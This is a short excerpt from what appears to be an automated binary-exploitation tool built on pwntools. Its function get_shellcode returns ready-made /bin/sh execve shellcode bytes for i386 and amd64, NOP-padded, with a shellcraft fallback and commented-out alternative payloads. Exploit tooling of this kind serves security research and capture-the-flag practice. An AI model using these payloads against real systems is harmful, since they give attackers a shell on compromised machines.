(target_property)
| 239 | |
| 240 | |
| 241 | def get_shellcode(target_property): |
| 242 | # return b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" |
| 243 | context.arch = target_property['arch'] |
| 244 | if context.arch == 'i386': # /bin/sh shellcode - 23 bytes |
| 245 | shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" |
| 246 | # b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' |
| 247 | elif context.arch == 'amd64': # /bin/sh shellcode - 23 bytes |
| 248 | shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" |
| 249 | # b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' |
| 250 | else: |
| 251 | assembly = shellcraft.sh() # This works, but the shellcode is usually long |
| 252 | shellcode = asm(assembly) |
| 253 | shellcode = shellcode.rjust(len(shellcode) // 8 * 8 + 8, b'\x90') |
| 254 | return shellcode |
| 255 | |
| 256 | |
| 257 | def get_max_str_len(state, start, right=0x200, binary_search=False): |
no outgoing calls
no test coverage detected